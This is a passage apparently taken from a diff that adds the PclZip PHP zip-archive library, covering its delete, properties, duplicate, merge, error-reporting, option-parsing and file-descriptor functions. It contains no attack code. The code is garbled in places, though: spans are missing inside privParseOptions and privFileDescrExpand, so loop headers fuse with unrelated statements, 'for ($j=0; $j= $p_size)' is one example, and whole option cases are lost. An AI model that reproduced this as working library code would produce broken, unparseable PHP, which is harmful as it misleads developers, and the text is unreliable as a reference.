+ + // ----- Look for default option values + $this->privOptionDefaultThreshold($v_options); + + // ----- Call the extracting fct + if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) { + return(0); + } + + // ----- Return + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : + // delete([$p_option, $p_option_value, ...]) + // Description : + // This method removes files from the archive. + // If no parameters are given, then all the archive is emptied. + // Parameters : + // None or optional arguments. + // Options : + // PCLZIP_OPT_BY_INDEX : + // PCLZIP_OPT_BY_NAME : + // PCLZIP_OPT_BY_EREG : + // PCLZIP_OPT_BY_PREG : + // Return Values : + // 0 on failure, + // The list of the files which are still present in the archive. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + function delete() + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Set default values + $v_options = array(); + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Look for arguments + if ($v_size > 0) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_BY_NAME => 'optional', + PCLZIP_OPT_BY_EREG => 'optional', + PCLZIP_OPT_BY_PREG => 'optional', + PCLZIP_OPT_BY_INDEX => 'optional' )); + if ($v_result != 1) { + return 0; + } + } + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Call the delete fct + $v_list = array(); + if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) { + $this->privSwapBackMagicQuotes(); + unset($v_list); + return(0); + } + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : deleteByIndex() + // Description : + // ***** Deprecated ***** + // delete(PCLZIP_OPT_BY_INDEX, $p_index) should be prefered. + // -------------------------------------------------------------------------------- + function deleteByIndex($p_index) + { + + $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index); + + // ----- Return + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : properties() + // Description : + // This method gives the properties of the archive. + // The properties are : + // nb : Number of files in the archive + // comment : Comment associated with the archive file + // status : not_exist, ok + // Parameters : + // None + // Return Values : + // 0 on failure, + // An array with the archive properties. + // -------------------------------------------------------------------------------- + function properties() + { + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + $this->privSwapBackMagicQuotes(); + return(0); + } + + // ----- Default properties + $v_prop = array(); + $v_prop['comment'] = ''; + $v_prop['nb'] = 0; + $v_prop['status'] = 'not_exist'; + + // ----- Look if file exists + if (@is_file($this->zipname)) + { + // ----- Open the zip file + if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) + { + $this->privSwapBackMagicQuotes(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); + + // ----- Return + return 0; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privSwapBackMagicQuotes(); + return 0; + } + + // ----- Close the zip file + $this->privCloseFd(); + + // ----- Set the user attributes + $v_prop['comment'] = $v_central_dir['comment']; + $v_prop['nb'] = $v_central_dir['entries']; + $v_prop['status'] = 'ok'; + } + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_prop; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : duplicate() + // Description : + // This method creates an archive by copying the content of an other one. If + // the archive already exist, it is replaced by the new one without any warning. + // Parameters : + // $p_archive : The filename of a valid archive, or + // a valid PclZip object. + // Return Values : + // 1 on success. + // 0 or a negative value on error (error code). + // -------------------------------------------------------------------------------- + function duplicate($p_archive) + { + $v_result = 1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Look if the $p_archive is a PclZip object + if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip')) + { + + // ----- Duplicate the archive + $v_result = $this->privDuplicate($p_archive->zipname); + } + + // ----- Look if the $p_archive is a string (so a filename) + else if (is_string($p_archive)) + { + + // ----- Check that $p_archive is a valid zip file + // TBC : Should also check the archive format + if (!is_file($p_archive)) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'"); + $v_result = PCLZIP_ERR_MISSING_FILE; + } + else { + // ----- Duplicate the archive + $v_result = $this->privDuplicate($p_archive); + } + } + + // ----- Invalid variable + else + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); + $v_result = PCLZIP_ERR_INVALID_PARAMETER; + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : merge() + // Description : + // This method merge the $p_archive_to_add archive at the end of the current + // one ($this). + // If the archive ($this) does not exist, the merge becomes a duplicate. + // If the $p_archive_to_add archive does not exist, the merge is a success. + // Parameters : + // $p_archive_to_add : It can be directly the filename of a valid zip archive, + // or a PclZip object archive. + // Return Values : + // 1 on success, + // 0 or negative values on error (see below). + // -------------------------------------------------------------------------------- + function merge($p_archive_to_add) + { + $v_result = 1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Check archive + if (!$this->privCheckFormat()) { + return(0); + } + + // ----- Look if the $p_archive_to_add is a PclZip object + if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip')) + { + + // ----- Merge the archive + $v_result = $this->privMerge($p_archive_to_add); + } + + // ----- Look if the $p_archive_to_add is a string (so a filename) + else if (is_string($p_archive_to_add)) + { + + // ----- Create a temporary archive + $v_object_archive = new PclZip($p_archive_to_add); + + // ----- Merge the archive + $v_result = $this->privMerge($v_object_archive); + } + + // ----- Invalid variable + else + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); + $v_result = PCLZIP_ERR_INVALID_PARAMETER; + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + + + // -------------------------------------------------------------------------------- + // Function : errorCode() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function errorCode() + { + if (PCLZIP_ERROR_EXTERNAL == 1) { + return(PclErrorCode()); + } + else { + return($this->error_code); + } + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : errorName() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function errorName($p_with_code=false) + { + $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR', + PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL', + PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL', + PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER', + PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE', + PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG', + PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP', + PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE', + PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL', + PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION', + PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT', + PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL', + PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL', + PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM', + PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', + PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE', + PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE', + PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', + PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION' + ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE' + ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION' + ); + + if (isset($v_name[$this->error_code])) { + $v_value = $v_name[$this->error_code]; + } + else { + $v_value = 'NoName'; + } + + if ($p_with_code) { + return($v_value.' ('.$this->error_code.')'); + } + else { + return($v_value); + } + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : errorInfo() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function errorInfo($p_full=false) + { + if (PCLZIP_ERROR_EXTERNAL == 1) { + return(PclErrorString()); + } + else { + if ($p_full) { + return($this->errorName(true)." : ".$this->error_string); + } + else { + return($this->error_string." [code ".$this->error_code."]"); + } + } + } + // -------------------------------------------------------------------------------- + + +// -------------------------------------------------------------------------------- +// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS ***** +// ***** ***** +// ***** THESES FUNCTIONS MUST NOT BE USED DIRECTLY ***** +// -------------------------------------------------------------------------------- + + + + // -------------------------------------------------------------------------------- + // Function : privCheckFormat() + // Description : + // This method check that the archive exists and is a valid zip archive. + // Several level of check exists. (futur) + // Parameters : + // $p_level : Level of check. Default 0. + // 0 : Check the first bytes (magic codes) (default value)) + // 1 : 0 + Check the central directory (futur) + // 2 : 1 + Check each file header (futur) + // Return Values : + // true on success, + // false on error, the error code is set. + // -------------------------------------------------------------------------------- + function privCheckFormat($p_level=0) + { + $v_result = true; + + // ----- Reset the file system cache + clearstatcache(); + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Look if the file exits + if (!is_file($this->zipname)) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'"); + return(false); + } + + // ----- Check that the file is readeable + if (!is_readable($this->zipname)) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'"); + return(false); + } + + // ----- Check the magic code + // TBC + + // ----- Check the central header + // TBC + + // ----- Check each file header + // TBC + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privParseOptions() + // Description : + // This internal methods reads the variable list of arguments ($p_options_list, + // $p_size) and generate an array with the options and values ($v_result_list). + // $v_requested_options contains the options that can be present and those that + // must be present. + // $v_requested_options is an array, with the option value as key, and 'optional', + // or 'mandatory' as value. + // Parameters : + // See above. + // Return Values : + // 1 on success. + // 0 on failure. + // -------------------------------------------------------------------------------- + function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false) + { + $v_result=1; + + // ----- Read the options + $i=0; + while ($i<$p_size) { + + // ----- Check if the option is supported + if (!isset($v_requested_options[$p_options_list[$i]])) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for next option + switch ($p_options_list[$i]) { + // ----- Look for options that request a path value + case PCLZIP_OPT_PATH : + case PCLZIP_OPT_REMOVE_PATH : + case PCLZIP_OPT_ADD_PATH : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); + $i++; + break; + + case PCLZIP_OPT_TEMP_FILE_THRESHOLD : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + return PclZip::errorCode(); + } + + // ----- Check for incompatible options + if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); + return PclZip::errorCode(); + } + + // ----- Check the value + $v_value = $p_options_list[$i+1]; + if ((!is_integer($v_value)) || ($v_value<0)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + return PclZip::errorCode(); + } + + // ----- Get the value (and convert it in bytes) + $v_result_list[$p_options_list[$i]] = $v_value*1048576; + $i++; + break; + + case PCLZIP_OPT_TEMP_FILE_ON : + // ----- Check for incompatible options + if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); + return PclZip::errorCode(); + } + + $v_result_list[$p_options_list[$i]] = true; + break; + + case PCLZIP_OPT_TEMP_FILE_OFF : + // ----- Check for incompatible options + if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'"); + return PclZip::errorCode(); + } + // ----- Check for incompatible options + if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'"); + return PclZip::errorCode(); + } + + $v_result_list[$p_options_list[$i]] = true; + break; + + case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + if ( is_string($p_options_list[$i+1]) + && ($p_options_list[$i+1] != '')) { + $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); + $i++; + } + else { + } + break; + + // ----- Look for options that request an array of string for value + case PCLZIP_OPT_BY_NAME : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + if (is_string($p_options_list[$i+1])) { + $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1]; + } + else if (is_array($p_options_list[$i+1])) { + $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; + } + else { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + $i++; + break; + + // ----- Look for options that request an EREG or PREG expression + case PCLZIP_OPT_BY_EREG : + // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG + // to PCLZIP_OPT_BY_PREG + $p_options_list[$i] = PCLZIP_OPT_BY_PREG; + case PCLZIP_OPT_BY_PREG : + //case PCLZIP_OPT_CRYPT : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + if (is_string($p_options_list[$i+1])) { + $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; + } + else { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + $i++; + break; + + // ----- Look for options that takes a string + case PCLZIP_OPT_COMMENT : + case PCLZIP_OPT_ADD_COMMENT : + case PCLZIP_OPT_PREPEND_COMMENT : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, + "Missing parameter value for option '" + .PclZipUtilOptionText($p_options_list[$i]) + ."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + if (is_string($p_options_list[$i+1])) { + $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; + } + else { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, + "Wrong parameter value for option '" + .PclZipUtilOptionText($p_options_list[$i]) + ."'"); + + // ----- Return + return PclZip::errorCode(); + } + $i++; + break; + + // ----- Look for options that request an array of index + case PCLZIP_OPT_BY_INDEX : + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + $v_work_list = array(); + if (is_string($p_options_list[$i+1])) { + + // ----- Remove spaces + $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', ''); + + // ----- Parse items + $v_work_list = explode(",", $p_options_list[$i+1]); + } + else if (is_integer($p_options_list[$i+1])) { + $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1]; + } + else if (is_array($p_options_list[$i+1])) { + $v_work_list = $p_options_list[$i+1]; + } + else { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Reduce the index list + // each index item in the list must be a couple with a start and + // an end value : [0,3], [5-5], [8-10], ... + // ----- Check the format of each item + $v_sort_flag=false; + $v_sort_value=0; + for ($j=0; $j= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; + $i++; + break; + + // ----- Look for options that request a call-back + case PCLZIP_CB_PRE_EXTRACT : + case PCLZIP_CB_POST_EXTRACT : + case PCLZIP_CB_PRE_ADD : + case PCLZIP_CB_POST_ADD : + /* for futur use + case PCLZIP_CB_PRE_DELETE : + case PCLZIP_CB_POST_DELETE : + case PCLZIP_CB_PRE_LIST : + case PCLZIP_CB_POST_LIST : + */ + // ----- Check the number of parameters + if (($i+1) >= $p_size) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Get the value + $v_function_name = $p_options_list[$i+1]; + + // ----- Check that the value is a valid existing function + if (!function_exists($v_function_name)) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Set the attribute + $v_result_list[$p_options_list[$i]] = $v_function_name; + $i++; + break; + + default : + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, + "Unknown parameter '" + .$p_options_list[$i]."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Next options + $i++; + } + + // ----- Look for mandatory options + if ($v_requested_options !== false) { + for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { + // ----- Look for mandatory option + if ($v_requested_options[$key] == 'mandatory') { + // ----- Look if present + if (!isset($v_result_list[$key])) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); + + // ----- Return + return PclZip::errorCode(); + } + } + } + } + + // ----- Look for default values + if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { + + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privOptionDefaultThreshold() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privOptionDefaultThreshold(&$p_options) + { + $v_result=1; + + if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) + || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) { + return $v_result; + } + + // ----- Get 'memory_limit' configuration value + $v_memory_limit = ini_get('memory_limit'); + $v_memory_limit = trim($v_memory_limit); + $last = strtolower(substr($v_memory_limit, -1)); + + if($last == 'g') + //$v_memory_limit = $v_memory_limit*1024*1024*1024; + $v_memory_limit = $v_memory_limit*1073741824; + if($last == 'm') + //$v_memory_limit = $v_memory_limit*1024*1024; + $v_memory_limit = $v_memory_limit*1048576; + if($last == 'k') + $v_memory_limit = $v_memory_limit*1024; + + $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO); + + + // ----- Sanity check : No threshold if value lower than 1M + if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) { + unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privFileDescrParseAtt() + // Description : + // Parameters : + // Return Values : + // 1 on success. + // 0 on failure. + // -------------------------------------------------------------------------------- + function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false) + { + $v_result=1; + + // ----- For each file in the list check the attributes + foreach ($p_file_list as $v_key => $v_value) { + + // ----- Check if the option is supported + if (!isset($v_requested_options[$v_key])) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for attribute + switch ($v_key) { + case PCLZIP_ATT_FILE_NAME : + if (!is_string($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['filename'] = PclZipUtilPathReduction($v_value); + + if ($p_filedescr['filename'] == '') { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + break; + + case PCLZIP_ATT_FILE_NEW_SHORT_NAME : + if (!is_string($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value); + + if ($p_filedescr['new_short_name'] == '') { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + break; + + case PCLZIP_ATT_FILE_NEW_FULL_NAME : + if (!is_string($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value); + + if ($p_filedescr['new_full_name'] == '') { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + break; + + // ----- Look for options that takes a string + case PCLZIP_ATT_FILE_COMMENT : + if (!is_string($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['comment'] = $v_value; + break; + + case PCLZIP_ATT_FILE_MTIME : + if (!is_integer($v_value)) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'"); + return PclZip::errorCode(); + } + + $p_filedescr['mtime'] = $v_value; + break; + + case PCLZIP_ATT_FILE_CONTENT : + $p_filedescr['content'] = $v_value; + break; + + default : + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, + "Unknown parameter '".$v_key."'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Look for mandatory options + if ($v_requested_options !== false) { + for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { + // ----- Look for mandatory option + if ($v_requested_options[$key] == 'mandatory') { + // ----- Look if present + if (!isset($p_file_list[$key])) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); + return PclZip::errorCode(); + } + } + } + } + + // end foreach + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privFileDescrExpand() + // Description : + // This method look for each item of the list to see if its a file, a folder + // or a string to be added as file. For any other type of files (link, other) + // just ignore the item. + // Then prepare the information that will be stored for that file. + // When its a folder, expand the folder with all the files that are in that + // folder (recursively). + // Parameters : + // Return Values : + // 1 on success. + // 0 on failure. + // -------------------------------------------------------------------------------- + function privFileDescrExpand(&$p_filedescr_list, &$p_options) + { + $v_result=1; + + // ----- Create a result list + $v_result_list = array(); + + // ----- Look each entry + for ($i=0; $iprivCalculateStoredFilename($v_descr, $p_options); + + // ----- Add the descriptor in result list + $v_result_list[sizeof($v_result_list)] = $v_descr; + + // ----- Look for folder + if ($v_descr['type'] == 'folder') { + // ----- List of items in folder + $v_dirlist_descr = array(); + $v_dirlist_nb = 0; + if ($v_folder_handler = @opendir($v_descr['filename'])) { + while (($v_item_handler = @readdir($v_folder_handler)) !== false) { + + // ----- Skip '.' and '..' + if (($v_item_handler == '.') || ($v_item_handler == '..')) { + continue; + } + + // ----- Compose the full filename + $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler; + + // ----- Look for different stored filename + // Because the name of the folder was changed, the name of the + // files/sub-folders also change + if (($v_descr['stored_filename'] != $v_descr['filename']) + && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) { + if ($v_descr['stored_filename'] != '') { + $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler; + } + else { + $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler; + } + } + + $v_dirlist_nb++; + } + + @closedir($v_folder_handler); + } + else { + // TBC : unable to open folder in read mode + } + + // ----- Expand each element of the list + if ($v_dirlist_nb != 0) { + // ----- Expand + if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) { + return $v_result; + } + + // ----- Concat the resulting list + $v_result_list = array_merge($v_result_list, $v_dirlist_descr); + } + else { + } + + // ----- Free local array + unset($v_dirlist_descr); + } + } + + // ----- Get the result list + $p_filedescr_list = $v_result_list; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privCreate() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privCreate($p_filedescr_list, &$p_result_list, &$p_options) + { + $v_result=1; + $v_list_detail = array(); + + // ----- Magic quotes trick + $this->privDisableMagicQuotes(); + + // ----- Open the file in write mode + if (($v_result = $this->privOpenFd('wb')) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Add the list of files + $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options); + + // ----- Close + $this->privCloseFd(); + + // ----- Magic quotes trick + $this->privSwapBackMagicQuotes(); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privAdd() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privAdd($p_filedescr_list, &$p_result_list, &$p_options) + { + $v_result=1; + $v_list_detail = array(); + + // 